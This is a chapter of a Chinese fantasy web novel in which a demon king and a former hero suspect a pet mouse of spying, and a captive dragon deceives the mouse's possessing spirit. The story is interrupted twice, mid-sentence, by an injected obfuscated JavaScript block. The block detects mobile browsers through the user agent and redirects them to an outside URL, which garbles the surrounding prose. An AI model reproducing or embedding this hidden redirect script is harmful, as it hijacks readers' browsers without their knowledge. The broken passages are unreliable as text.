野生老鼠有这种毛色吗?而且,它看上去也不像是吃大米的那种老鼠,更加圆头圆耳,可这里是魔物界,断然不可能有魔物会养老鼠玩吧……? 叶隐脑中一瞬间闪过这般疑惑,但没人能回答他的问题,只好不了了之。 这只鼠本就聪明,善于察言观色,在弥补了外貌缺陷后,一下子便从“厨余垃圾”跃升到了正儿八经的宠物阶级,喜提魔王城住民地位+1,已然高于至今仍被撂在地牢里的希冯,可喜可贺。 叶隐转头问尤利西斯:“你是不是没给它喂东西吃?让它养成吃人食的习惯可不好。” “我不知它能吃什么,便找了它先前留过齿痕的食物,比如土豆,捣碎喂它,但它不吃。”尤利西斯微微皱眉,“我把大部分食材都试了一遍,它没一个看得上,即使做熟也不行。” “厨房里有没有坚果,或者瓜子?” “没有。”尤利西斯答,“黑市里倒是有看见,但太贵了。坚果虽然烘干后能储存很久,可产量太低,供给皇亲贵戚都不够吃,能走私来的都是次品中的次品,我就没有买。” “那么烂还那么宝贝?还是免了。” 吐槽完,叶隐转头看向黄鼠,质问道:“你就想和人一个待遇是不是?就不怕齁着?” “吱!吱吱吱!”黄鼠站起身来,一阵手舞足蹈,“吱吱吱吱~” 叶隐:“……”他是能用魔法感知这老鼠的情绪没错,但它自从知道自己将要过上好日子后,就没有哪个时候是不开心的,这能读出个卵? 哎,不知道法师塔的水晶球里,有没有能让人通兽语的魔法? 叶隐自己是不太可能创造那样的魔法了,因为,哪怕这只鼠肉眼可见的不能算做普通老鼠,他依然会下意识将对方归类为老鼠,随后以“大部分动物并不具备能够形成语言的高级意识”为理由说服自己,以至于他只能以动画片为范本,来想象老鼠口吐人言的情况。而现实?现实中的老鼠当然是没有语言的啊! ——简单来说,科学理论告诉叶隐,大部分动物并没有任何可以被称为语言的体系,所以他潜意识里是不认同“兽语魔法”能够存在的,那是他的想象力所无法触及的死角,也就无法被他创造出来。 “行吧,等会儿。” 叶隐摘下笼子上绑着的小盒子,从盘里挑出残羹剩饭塞进去,再把盒子放回到笼子里。 “吱……” 黄鼠似乎不太满意这只东拼西凑来的盒子,但眼下没得挑,只好开吃,吃得倒是不慢。 “话说,你有头绪吗?关于这只老鼠为什么会出现在魔王城里。”叶隐托着半张脸问尤利西斯,“卡拉瓦多斯说,普通动物通常都不敢接近这种地方,而且魔王城是位于魔物界深处对吧?魔物界的生态本就是为魔物量身打造的,完全不适合寻常生命生存,莫非以老鼠的生命力,在这种地方也能生存下来?……难道只是个普通的巧合?是我多想了?” “……” 听到叶隐的话,正埋头猛吃的黄鼠身体微僵,虽然很快又开始了动作,但叶隐和尤利西斯都注意到了那瞬间的停滞,他们彼此对视一眼,装作没有发现。 “我来到魔物界一个多月,此地老鼠的确是有的。”尤利西斯淡淡回道,“对它们而言,培育魔物的血肉菌毯算得上营养丰富的食物,荤素均衡,只是,它们以菌毯为食,却同样难以反抗菌毯的攫取,常常成为食人植物的养料,之所以能在魔物界立足,凭借的还是它们极高的繁殖效率——只要生得比死得快,就能活下来。” 叶隐道:“那它的毛怎么说?至少在我…家乡那里,只有专门培育的宠物鼠,才有这样浅黄发亮的毛色。”出于谨慎,他隐去了“原来的世界”一词。 “我的认识也是如此。”尤利西斯说,“不过,改变动物毛色的魔法并不高深,许多魔法学徒都能使用,其中不乏能够永久生效、甚至传给后代的。也许这只鼠或它的祖先曾被施法,随后又被放生野化,才导致它出现在这里。” 叶隐向后靠在椅子上,双手枕在脑后,喃喃道:“那就是巧合了……”他活动了下脖子,貌似释然道:“算了,一只老鼠而已。” 呼……黄鼠悄悄松了口气,愈发卖力地啃起饭盒里的餐食来,它这个反应同样没有逃过叶隐和尤利西斯的视线。 这只老鼠有问题,基本是板上钉钉的事了,但究竟是哪方面的问题?叶隐对此毫无头绪。 思考一番,他擦了擦嘴,对尤利西斯道:“既然你说没什么可教我的了,那我便自己练习吧,但总归不能在卧室里搞爆炸,我们一起去老地方。” …… “鼠子放哪儿去了?”叶隐问。 “我的房间。”尤利西斯答。 “我看看……” 叶隐心念一动,水晶球便从塔顶飞下来,停在他的掌心上方。 他闭上眼,以水晶球为媒介释放了一个探测魔法,尤利西斯房间的情形登时呈现在了水晶球的曲面上,像监控画面似的,而且相当高清。 叶隐知道尤利西斯房间的位置,不过还从没有进去过,便趁着监视老鼠的功夫好好观察了一番屋内——实话实说,没什么好看的,几乎可以用家徒四壁来形容,床板上甚至空空如也,连床垫都没铺。屋里最精致的东西可能是桌上那把木梳子……哦对,还有装鼠的笼子。 看了半天,实在没有找到什么爆点,叶隐失望地将镜头转向真正的目标,鼠笼。 黄鼠确实还好好待在笼子里,似乎正在睡觉,在叶隐的提醒下,尤利西斯还专门扯了块深色的布,将笼子的大部分都盖住,以免陌生的环境刺激到它。 “暂时没问题,没有要跑出来的迹象。” 叶隐打了个响指,水晶球上的画面随之散去。 他拍了拍手上的灰尘,问尤利西斯:“你说,它有没有可能是其他人为了了解魔王城内的情况,派来的探子?” “以它对我们有所隐瞒为前提来考虑,这是最有可能的情况。”尤利西斯平静道,“只是,魔物界的水很深,密探难以深入,帝国鞭长莫及,加上我脱离一线已有一段时日,仅凭我一人,获取情报的效率自然不比帝国的情报网,所以,我对眼下魔物界的势力分布不甚清楚,说不清有谁会这么做。” “唔……”叶隐沉吟片刻,“那先说说你知道的吧,有多少说多少。” ……据尤利西斯所述,魔物界的势力划分说难懂也难懂,说好懂也确实好懂。前者在于帝国渗透魔物界的手段实在太少,毕竟人类几乎是没可能长期混入魔物之中而不被发现的;后者则在于魔物内部等级分明,能够统领一方的存在只有两种: 其一,是大魔,它们被历代魔王赐予极少量的魔王之血,由此得到了一魔之下、万魔之上的力量,天然就是令万魔臣服的存在。哪怕它们没有统领同族的意识,只要不曾隐藏自身,其余魔物自发地便会向它们聚集。 其二,则是凭借自身修炼臻至极境的魔物。它们从诞生开始,往往要耗费数百年时间,才能不断完善自身的灵肉联系,抹去身为魔物最致命的弱点,从而得到力量和智慧的双重升华。由于修炼时间必然漫长,它们大多在达到这个地位前就已经拥有了自己的势力,因而经验丰富、死忠更多、根基更为稳固——对人类而言,则是更难对付。 魔物界最上级势力的掌控者,大多为前者,也就是由历代魔王各自制造、并且从历届大清洗中存活至今的大魔,后者则极少,其中不仅有修炼困难、耗时漫长的缘故,还有此类魔物同时也是魔王制造大魔的最佳素体的缘故,此消彼长之下,便到了如今的境地。 按理来说,人类方已经以帝国政体持续了数百年,而魔王作为魔物的天然领袖,一个命令团结全魔物界也不是梦,然而魔物界在大部分时候还是保持着各立山头的分裂模样,其中根源在于——魔王是可以被杀死的,而且一旦死亡,理论上就需要至少数十年时间才会出现下一位。 一旦失去了魔王,魔物便再没有任何团结的可能性,因为没有第二个魔物能够拥有超越其余一切魔物的力量,顶多是与几个同级别高手在伯仲之间。力量在人类文明中不是统治者所必要的素质,却是魔物的统治者所唯一必要的素质,而能做到这一点的,唯有魔王。 叶隐问:“你认识那些魔物首领吗?即使近十年来人魔之间并无大纷争,但小摩擦是从来不会断的吧?人类那边多少会有些情报才对。” 尤利西斯微微摇头,凝重道:“魔物界的面积比帝国还要大上许多,只是小打小闹的摩擦,还远远不至于吸引到大魔的注意。事实上,帝国上一次与大魔级别的魔物有正面冲突,已经是近三十年前的事了,而那一次,人类的损失极为惨重。” 叶隐想了想,笑道:“你虽然不是勇者了,但还是帝国公民,你打赢了希冯,怎么不算是帝国打赢了大魔呢?” “……” 尤利西斯一梗,竟无言以对,良久才道:“……我之所以能赢,功劳不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184074|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,在它自己…还有你。 “因为被你唤醒,它从一开始就极不理智,又因为它在被封印期间流失了太多力量,才能被我轻松占得上风。”他说,“而且,魔物的体能恢复力和再生能力极为突出,它们最擅长的是持久战,但这次它没有那样的机会,不然结果难料。” 叶隐叹了口气,“如果不是我拦着你,你早就把他杀了,哪里会陷入持久战?……是我对他的处理有问题。” 尤利西斯并不怪叶隐,当时情况紧急,他一时手足无措很正常,而且实际上他很快就冷静了下来,并在危急关头站在了自己这边,帮自己干扰了希冯,这已经超出自己对他的期待了。 “它让你想起你真正的兄弟了,是吗?”他反问后,耿直地说道:“上次被你转移了话题,这次稍微告诉我一些事吧,我想知道。” 叶隐面露惊讶之色,他清楚尤利西斯不是真正的无欲无求之人,但青年确实极少像这样直接地表达自己的欲求,何况,还是关于叶隐过去的私事,最亲密的家庭关系。 “倒是…没什么不能说的。” 话题比起最初似乎有点歪了,不过既然尤利西斯提起,叶隐也乐得继续讲。 他知道,自己内心深处还是希望能与别人分享这些话题的,尤其是对尤利西斯——他希望对方对他的认知不要永远局限于“魔王”。他希望尤利西斯能记住他来自一个美丽的世界,在成为魔王前已有了二十一年的人生,学习勤奋、热爱家庭……那才是本来的他。 “我有一个弟弟…亲弟弟,比我小三岁。他叫叶澜,波澜的澜。”叶隐说道,“单论面孔的话,希冯和叶澜长得一模一样,但大概是成长环境的原因,他们的性格很不同,叶澜要开朗、温柔得多……” 他慢慢向尤利西斯讲述,自己看到刚出生的叶澜时的喜悦,送叶澜去读寄宿制学校时的不舍,用奖学金给叶澜买生日礼物时的自豪…… 尤利西斯专注地聆听着,直到叶隐讲得口干舌燥,停下歇息,才道: “被希冯攻击的时候,你在想什么?” “当然是‘大胆!’,哈哈。”叶隐笑了两声,“看了些希恩的记忆之后,我稍微有些能代入他了,情不自禁地就想替他教训一下这个不让人省心的弟弟,可惜有心无力啊。” “你宁可拒绝我的救援,拼着生命危险,也要独自面对它、战胜它,因为不那样做,你就无法收服它。”尤利西斯精确地点出了叶隐的想法,“……但那一开始就是不可能的。” 叶隐耸耸肩,“我以为多少能和他讲讲道理,可惜我高估了他的理性,至于那造成的后果,我很抱歉,很高兴你能不计较。” 尤利西斯没有回应叶隐最后那句话,仿佛默许了似的,实际上他怎么可能不计较?对于这种可能造成毁灭性后果的事故,怎么可能无动于衷呢? 即使是不完全觉醒的魔王,也没人说得清其心中究竟还留有几分人性,他举着剑冲上法师塔顶与叶隐对峙时,是真的怀着“若是无法与对方沟通,哪怕死也要与其同归于尽”的心态去的,是叶隐对他的态度,成了让他心中的天平倾斜的最后一根稻草。 所以,最后他才选择了将剑放下,并且,现在选择了沉默——这不代表他毫无意见,只是他知道这意见不该冲着叶隐发泄。 他的内心是有懊悔与愤怒的,懊悔自然是对没能劝下叶隐的自己,那愤怒呢?是对着把叶隐逼到那一步的希冯的吗?……但在见过后者如今的惨状后,他的愤怒却仍然没有得到抒发,这又是为什么? “现在呢?你仍然认为他是一个值得收服的对象么?”尤利西斯沉声问道,话语中略带一丝杀气,“如果你改变了主意,就由我来下手,任何时候都可以。” “唔,这的确是个值得重新考虑的问题。” “那——” “但我已经和他签下了契约,你也是知道的,你不必再担心他会伤害我,或是背叛我了。”叶隐说着,面带忧伤,“……我是想将他作为平等的人看待的,结果还是走到了这一步,他心里一定很恨我,觉得还不如一死了之……我虽然想要手下,却不是非他不可,如今留着他,只是不想让他就那么死去而已。如果我杀了他,之后一定会后悔的。” “只是为了你自己考虑的话,我没有意见。”尤利西斯说。 他并不能完全理解叶隐的犹豫,因为叶隐显然还是能将希冯与叶澜切割开来的,就像他从来没觉得自己是希恩的代替品一样。 不过,一码归一码,杀死希冯并不是尤利西斯的最终目的,叶隐的状态和意愿才是最重要的,所以他可以让步,这很简单。 叶隐忽然转移了话题:“你在魔物界生活的时间不长,又因为是人类的缘故,没法自如地探查情报,但希冯不一样。” 尤利西斯沉吟了会儿,点头道:“的确,在我赶来魔物界赴约之前,这对兄弟就已经在魔王城住下了。虽然据我所知,希恩不曾公开过魔王身份,更不曾将其余大魔召集到魔王城,但这不能说明希恩就完全没有和其他大魔见过面……而如果真的有那么一回事,那么,常伴希恩左右的希冯,该是知道的。” 叶隐补充道:“而且,他是魔物,又能确保绝对的忠诚,可以代替你去做许多不便之事,只要稍稍施加伪装就好。” “现在就要将它投入使用吗?可它的状态,恐怕难以完成任务。” “他的双臂应该有办法恢复的。”叶隐低头看了看自己的掌心,摊开又握紧,低声道:“我不是很确定具体要怎么做,但我有那种感觉……对我来说,应该是很轻松的事。” 尤利西斯问:“你打算什么时候去地牢?现在?” 叶隐微微颔首:“你的老鼠没什么警惕心,但也不排除那只是一种伪装的可能。不管它有没有察觉到我们此刻的动作,至少在它将情报传回给它背后的势力之前,我们能做的事还有很多。” 尤利西斯看着他,道:“你可以自己去,我就不跟着了,反正它也不想看到我。” 叶隐眼中闪过一丝狡黠,“你就不怕我顺路去厨房偷吃?” “厨房没有熟食,你打算自己做的话,我没意见。” 19. [锁] [此章节已锁] 时间倒回两天前。 彼时,叶隐还处于爆种后的昏迷之中,尤利西斯大部分时间都在他的卧室里照看他,没有心力去管那只被他自己关在厨房隔壁的老鼠。 唯独卡拉瓦多斯,它可能出现在任何地方,也是现在唯一需要警惕的存在,不过它并不强,之所以稳坐魔王的管家之位,似乎只是因为有些许聪明,善于讨好罢了,躲过它的感知是件轻而易举的事……大概吧。 深夜,灰鼠窸窸窣窣地咬断了钢条,钻出笼子,三下五除二爬上墙壁,从手指粗细的通风口栅栏挤了出去,跃至地面,迈开四条小腿儿飞奔起来。 叶隐的卧室在更高层,与它的路线互不干扰,所以它可以肆无忌惮地直行,一路奔向——城堡地下。 魔王城的地下部分年久失修,身为一只老鼠,它有一万种方法进入这筛子似的地牢。几乎不费吹灰之力,它便逐一钻过沿途闭锁的大门,抵达了自己的目的地,紧接着打了个寒颤。 它明明知道里面有人,却连一丝动静、一缕呼吸都感觉不到,死寂一般。虽说地牢难以通风,但也不至于此吧? 灰鼠的到来卷起了一股微小的气流,灰尘的涩味和金属的锈味随之激扬而起,扑面而来,令鼠厌恶地甩头,鼻孔里喷出两股气来。它不再多想,加快脚步,直奔最深处关押希冯的牢房而去。 看到牢中龙人断去两臂、躺在地上生死不知的模样,灰鼠目瞪口呆。 龙人浑身龙鳞光芒黯淡,一看便是已经许久没有补给过,极度缺乏能量。除了断臂外,他周身没有明显的外伤,也没有血迹,可看上去格外萎靡,到底是何所致? 灰鼠看来看去,也只是觉得希冯额间多出的那枚莲花印记有些奇特,却无法确定这与对方的状态有何联系,更不明白这样一位强者是如何陷入如此窘境的。 要知道,这可是大魔希冯,前魔王的亲弟弟,也是其最为信任的左膀右臂!虽然他成为大魔的时间理应不久,但距离上次见面才过去区区几个月,竟会落得这样的下场……真是三十年河东,三十年河西! 灰鼠感慨一番,还以为希冯没有意识,跳进囚笼中就要仔细观察一番,不料接近后才看到那双金色龙瞳竟是睁着的,当即被吓得心都要跳出来了。 它张了张鼠嘴,把心脏咽下去,口中吐出一个惊讶的女性嗓音来:“你、你醒着?” 散发着微光的龙瞳微微转了转,斜斜看向地上灰不隆冬的老鼠,一言不发。 “那什么……” 希冯的视线让灰鼠头皮发麻,它现在毕竟是鼠身,即使对方失去双臂,抽死它也就是一尾巴的事,万一对方一言不合就动手,接下来就麻烦了! 它强压着不安,略显结巴地说道:“这个、希冯大魔,请容我自我介绍一下,我是黑曜石大魔的副官,名叫刚玉,这只老鼠只是我用魔法操纵的临时躯体。两个半月前,我曾跟随黑曜石首领拜访魔王城,当时您见过我的本体!” 自报家门完毕,它等了许久,都没有等到希冯的回应,就在它以为希冯睁着眼睛昏过去了的时候,忽然听到一个极为嘶哑的声音传来:“所以,你来做什么?” 灰鼠从善如流地说出预先准备好的说辞:“我们观察到城内有异常的魔力波动,黑曜石大人担心那是人类针对魔王陛下开发的秘密武器,派我前来探查情况。” 不给希冯怀疑发问的时间,它紧接着道:“现在我的身体只是一只普通老鼠,无法动用本体魔力,甚至连魔王陛下的面都没见到,就被某个家伙逮了住!您能告知我魔王城内最近都发生了什么吗?为何人类的勇者会出现在魔王城中,您又是如何变成这副模样的?” “呵,城里只有我一个魔物吗?”希冯嗤笑一声,语速不紧不慢,却隐含…不、明含怒意,“你若真是出于担忧魔王的缘故前来,为何不从正门进,而要变成老鼠潜入?又为何不去找卡拉瓦多斯问,非要来这种地方找我?无非是觉得我比他好骗!” 灰鼠一时语塞。 它与这位新任大魔仅有一面之缘,虽知道对方不好相与,却没想到这厮直觉如此敏锐,说话又直白,自嘲起来也毫不含糊,噎得它无从接话。 灰鼠慌了一小下,但作为大魔的副官,它也不是吃素的。它迅速镇静下来道:“这是出于谨慎的考虑!事实也证明了这是有必要的,如若不然,与勇者的正面冲突恐怕无可避免。我们岩石军团不惧任何战斗,哪怕是与人类的勇者,但那最好是在了解完事情的来龙去脉之后,毕竟杀死勇者并不能起到决定性的作用,不是吗?” 希冯沉沉地凝视着它,嘴角的冷笑一闪而逝,随即终于有了动作。 他用尾巴和仅剩的半根手臂撑起上身,尾尖顺势将灰鼠捞起,在它反应过来前便将它牢牢捆住,举在空中。 “……” 被可怖的红龙凝视着,身为一只鼠,不害怕是不可能的,能站住不逃跑已经是它拼命克服生物本能的结果了。 不过,灰鼠知道希冯根本没使劲,显然并不打算立刻杀了自己,大概只是想将这具老鼠躯体的死活加入他的谈判筹码罢了。反正它也无力阻止,随他去吧。 希冯的嗓音稍微顺滑了些,不再像方才那样沙哑了,“我大概知道,你所说的‘异常的魔力波动’,是指哪件事。” 灰鼠摆出一副恭顺的态度:“请说!” 希冯正色道:“那的确是人类的秘密兵器所致,而执行这次突击行动的,正是你所见到那个‘人类的勇者’,他自称尤利西斯。” 灰鼠惊了,“秘密兵器!真的吗?!那家伙的目标难道是魔王陛下?魔王陛下还好吗?” 希冯没有正面回答,而是道:“我身上的伤,就是与那个人类正面交手所致,你可以想象他有多强。” 闻言,灰鼠那双小眼睛迸发出严肃的精光,漆黑的眼珠子在眼眶里滴溜溜地转,不知道在打些什么主意。 它已经预想到希冯的伤是拜那个人类所赐——毕竟魔王就是希冯的亲哥哥,其本身又是大魔,能将他重伤至此的存在寥寥无几,而将范围缩小到魔王城中的话,更是唯有魔王能够做到,可魔王偏偏又是最不可能对他下手的存在——既然如此,答案就呼之欲出了。 不过,推理和亲口听到当事人承认,终究是两码事。 “我败给了他,让他接触到了哥哥……!” 希冯咬牙切齿,一幕貌似极为愤恨、懊悔的模样,以至于残余的魔力因为情绪激荡而自行凝聚成了火花,在两根龙角间来回跳跃。 “然后,那个该死的人类,用那秘密兵器击中了哥哥!那东西还不足以破开哥哥的防御,却有着哥哥也无法抵挡的奇特能力,一击命中之后,哥哥就倒在了地上……那之后,我就被扔到了这里。” “等等、等等!太跳跃了!”灰鼠连声叫道,“魔王陛下难道就放任一把奇特的武器砍中自己?还有,陛下是勇者最大的敌人,他不可能在确认杀死陛下前就来处理失去战斗能力的你!在被带到这里前,你肯定看到了,陛下到底怎样,是生是死?!” 啧。 灰鼠疑惑地转了转头,它是不是听到了什么奇怪的声音? “‘秘密兵器’只是一个便于理解的说法,那东西实际上不是武器,而是一种……我也不知道怎么形容的东西。”希冯面无表情道,“哥哥本不惧一切凡间兵器,唯独要高看勇者之剑一头,何况那东西不似勇者之剑,又为何要避?只是这反而中了那个人类的下怀!” 灰鼠放弃了追索方才的幻觉,将信将疑道:“不是武器,却有大量魔力爆发,那到底是附着了什么魔法,能让陛下即刻倒下?” 希冯沉吟片刻,凝重道:“我不擅长魔法,不敢打包票,但哥哥被击中后的反应极为特殊,反过来推算的话,我只能告诉你一个猜测——时空魔法!” 灰鼠瞪大眼睛,失声叫道:“时空魔法?!不可能!那不是人类能够掌握的奥秘!” 希冯对它的质疑感到不快,恶声道:“被那一击击中后,哥哥体内的魔王之血直接回到了觉醒前的状态!当时我虽动弹不得,却感觉得一清二楚,魔王的气息直接从哥哥身上消失了!除了时间魔法,还有什么魔法能做到这种事?!” “什、什么…!” 灰鼠如遭雷击,下巴都要掉到希冯的尾巴上了。 如果希冯所言为实,那身为魔法大师的它,也的确只能想到时空魔法这一种可能性——但这真的可能吗? 魔王的力量理应凌驾于整个世界之上,勇者之剑可谓其唯一的克物,至于时空魔法…由于几乎无人能使用,自然也无人能确定这是否对魔王有效——反之,出于同样的原因,如果非得找一种可能对魔王造成威胁的魔法,那最可能的便是时空魔法。 如果人类真的掌握了时空魔法,并专门研制了针对魔王陛下的术式,甚至已经得手……想到这里,强烈的恶心和恐惧令灰鼠发起抖来。 可恶!魔物明明拥有更长的寿命、更大的领土、更多的魔力,在时空魔法的研究上为什么还会还会落后人类如此之多? 希冯接着道:“魔王之血退化后,我与哥哥的血之链接早已随之断开,但魔王之血仍在缓慢苏醒,我时常能感觉到哥哥的魔力波动,他一定还活着!可是,那个人类就守在外面,以我现在的状态根本逃不出去,即使侥幸逃离,同时也会失去哥哥的第一手消息,那还不如在此地蛰伏,好在你的确来了。” “原来如此!” 对方的逻辑还算合乎情理,灰鼠心里悬着的大石落了下来,它重重吐了口气,点头道:“魔王陛下还活着,这就好!事情还有转机!” “我不能确定那个人类没有其他后手,你们最好不要轻举妄动。”希冯淡淡道,“城中结界已经被哥哥修复,外人眼下不可能再潜入了,能派上用场的只有你我,你必须听从我的命令。” “这……”灰鼠犹豫了一下。 结界已经将魔王城内外隔绝开来,但它的通灵魔法作用于灵魂层面,只要它睡下,术式就会自动触发,从而令它的灵魂暂时离体,由此便可以穿过结界,将情报带回它所属的岩石军团之中,所以结界对它的限制是有限的。 不过,大魔希冯似乎不了解通灵魔法的细节,以为它现在是孤身一魔,这一点……或许可以利用。 “我明白了,我会听从您的指示,希冯大魔。”灰鼠佯装恭敬地垂下头去,“我现在并非魔物之躯,请原谅我无法奉上心脏,但请相信我做的一切都是为了魔王陛下。” “记住你的话。”希冯道,“现在能自由活动的只有你,你立刻去接近那个人类勇者,搞清楚那个‘秘密兵器’的真身,以及它能不能再次使用。还有,最要紧的是,不能让哥哥继续被人类蛊惑!必须尽快让哥哥重新觉醒!” 灰鼠神情一肃,行了一礼,“是!” 其实它也不是完全的自由之身,毕竟它是从笼子里钻出来才能和希冯见面的,不过,同样是被关着,那个人类对一只老鼠和对一位大魔的警惕断然不可相提并论,所以这些事儿还真只有它能去做。 哎哎,路漫漫而修远兮……! …… “……” 叶隐放下轻点着希冯额头的手指,露出指尖下方的莲花印记。 在听到希冯说要向他主动开放记忆的时候,叶隐还没搞懂他是什么意思,但在看过对方过去两天的记忆后,他明白了。 “那只老鼠还真是间谍啊,哈哈……” 这本该是件严肃的事,但叶隐现在只想笑,那位名叫黑曜石的大魔选探子的眼光真是不怎么样。 他按捺住蠢蠢欲动的嘴角,正色打量着希冯,后者一脸平静地盘腿坐地,毫不退缩地迎上他的目光。 “你居然会主动撒那样的谎,契约之印应该做不到那种程度才对,除非你是真心的。”叶隐说道,“是什么改变了你的态度?” “之前反对你的人是我,现在支持你的人也是我。”希冯说着似是而非的话,“违背你的意志,就会受到惩罚,那不如送佛送到西。” “……” 叶隐不是特别明白,不过他勉强可以理解希冯的意思——他是说自己并没有“改变”,而是这两种态度本就在他内心深处做着斗争,眼下他无法反抗契约之印,唯有顺着叶隐的心意行事,也就相应地有了足够的理由去支持叶隐。 说是这么说,叶隐却无法判断,这究竟是出自希冯本人的心意,还是希冯被契约之印强行扭曲了意志的结果——意识到这一点的瞬间,他心中涌上一股难言的失落。 “……我知道了。”叶隐说,“无论如何,你做得很好,我回去后会找机会和尤利西斯对口供。” 希冯却道:“你完全可以不将此事告知他。” “你推动岩石军团视尤利西斯为眼中钉,欲除之而后快,你觉得我会默许这种事发生?”叶隐眼神微冷,“他若死了,我便不是坐收渔翁之利了,而是唇亡齿寒!” 希冯貌似面无表情,黯淡的金瞳深处却闪烁着暴虐的神光:“能杀死魔王的,只有挥舞勇者之剑的勇者,可如今勇者不存,勇者之剑已毁,你再无弱点,又有什么能伤害到你?你不需要多余的保护者!” 叶隐心中一凛,“你知道勇者之剑的事……” “他带着剑来应邀时,我也在场,虽然你没有对我说过那把剑的用途,但它消失得无影无踪了,还能是去了哪儿?”希冯直视着前方,双目无神,自言自语一般低声说道,“尤利西斯,那个蠢货!若将他所做的事公之于众,无论魔物还是人类,没有一个不会想将他碎尸万段,我对他难道还不够仁慈吗?” 叶隐觉得希冯的精神状态果然还是有点问题,居然有将他与希恩混淆的趋势……也罢,反正他本来也是这么打算的。 “你说的也许没错。”叶隐回道,“但是,有一点我必须强调——我不是魔王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192637|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,至少现在还不是。也许魔王不会死,但我的命、名叫‘叶隐’的人类的性命,只有一条。尤利西斯保护的从来不是魔王,而是我,我无法离开他,因为会那样做的只有他一人。” “……”希冯幽幽抬起头来,眼神肉眼可见的茫然,脸上写满了“这有什么区别?” “你也是一样的吧。”叶隐轻声说道,“你效忠的也从来不是魔王,而是希恩,只是希恩刚好成为了魔王而已。” “……希恩……” 希冯垂着脑袋,用仅剩的左臂埋住脸,声音愈发混乱,“哥哥……” 空气中安静了好一会儿,叶隐站在原地,越发难以直视脆弱的希冯,他抿了抿嘴,别过脸去,低声道:“你…想恢复双臂吗?我现在可以稍微驱使些许魔王之力了。” 希冯肩膀微震,抬起头来。 “不,不是现在。”他恢复了冷漠的神情,重新盘腿而坐,“现在就让我恢复的话,‘它’会生疑。” “……也是。” 按照希冯编写的剧本,他现在是一个被尤利西斯重伤的囚犯。断臂这样的伤势想要恢复如初,必须得到新的魔王之血,但“希恩”眼下是失去了魔王之力的、被尤利西斯看管着的状态,没可能来替希冯治疗。一旦“希恩”有所动作,他们就必须有下一步行动,不然那只老鼠必会察觉到其中蹊跷。 叶隐思考了会儿,道:“我可以先把血存在你体内,你暂时不去动用,等到有必要的时候再使用,如何?” 希冯没有回话,但以实际行动做出了回答——他紧紧盯着叶隐,猩红的长舌缓缓将前排牙齿舔了一圈,锋利的龙牙锃光瓦亮。 ! 叶隐没来由地一惊,下意识后退半步,旋即吞咽了一下口水,艰难道:“干、干什么那副表情……?” 希冯依然不语,只是慢慢挪动眼神的焦点,从叶隐的眼睛,到他的脸颊,再到耳朵……最后定格在他被发丝掩住的脖颈上。 野兽般的眼神刮得叶隐头皮发麻,仿佛真有一根带着倒刺的舌头从他脸畔舔过,面上的温度“蹭”地升了起来。 希冯站起身来,随后调整姿势半跪下去,仰头望着手足无措的叶隐,眼神如迎见神明一般灼热,仿佛要将空气都点燃。 他道:“请怜悯我,哥哥。” “……” 叶隐险些陷入那双赤诚的金色眼眸之中,他回过神来的瞬间,下意识捂住了几乎要被视线烫出洞来的脖颈,拼命摇头:“这里不行!” 他不敢再去看希冯的眼睛,颤颤巍巍地将左手伸向对方,喏喏道:“你……自己咬吧。” 他感觉自己此时的心态,和把手递给护士抽血也没什么差别。当然,害怕是不至于害怕的,只要不是自己对自己下手,痛一下就痛了罢,就当被自家的狗咬了一口…… “啊!!” 叶隐“嗷”的一下就叫出了声,吓得他连忙用另一只手捂住嘴,生怕叫声传得过远。 他一边捂着嘴,一边下意识想要抽回左手,但中指和食指都被希冯牢牢咬在嘴里,尖利的龙牙深深刺入肉中,抽回时只感到钻心的疼,比抽血还疼不止百倍。他眼眶一阵发热,几乎要流下生理性的眼泪。 这、这家伙……! 没有手帮助固定,希冯下口毫不留情,不光是作为出血点的指尖,连指甲上都被刺出一个深深的洞,向外汩汩冒血,并被那条岩浆般炽热的、带着货真价实的倒刺的龙舌卷入口中,吞吃入腹。 叶隐毫不怀疑,这已经是对方收手的结果,不然连他的指骨都会被轻松咬断,但——还是太过粗暴了!这家伙属狗的吧!! 在希冯的用力吮吸之下,扎心的剧痛还在源源不断地传来,终于,泪水挣脱了眼眶的制约,顺着脸颊滚下,但叶隐完全顾不上在他人面前哭泣丢的脸——因为是真的很痛啊! 早知道就提前把血放出来给他喝了……真是自作孽不可活! 人的口腔吸力相当恐怖,虽说希冯是半龙之身,颅骨结构却与人类近似。哪怕他没有在叶隐的手指上开洞,也足够把指尖吸得发紫,何况叶隐的确在失血——失血的速率不算太快,但这可是魔王之血!其中蕴含的奇特精华远非平常血液可以比拟,当然,失去这些血液的代价亦如是。 “足够了吧……喂……” 因为失血,叶隐已经有些头晕了,他喃喃念着,恍惚间仿佛看见一条浑身滚烫的真蛇爬上了自己的手,借他的皮肤不断摩擦己身,而他的双腿却被恐惧牢牢定在原地,上天无路、入地无门。 他应该害怕的,可是,这条蛇却完完全全是他的所有物,怎么会真的伤害他呢? ——也许,他害怕的并不是它本身,而是失去它,所以才无法远离。 红龙唾液中的愈合因子已经开始起效,引得叶隐指尖的血洞阵阵发痒。他的手指情不自禁地抽动,随后被翻转过来,以便罪魁祸首将自己的脸贴得更近,像被叶隐主动抬手托着似的。 “……” 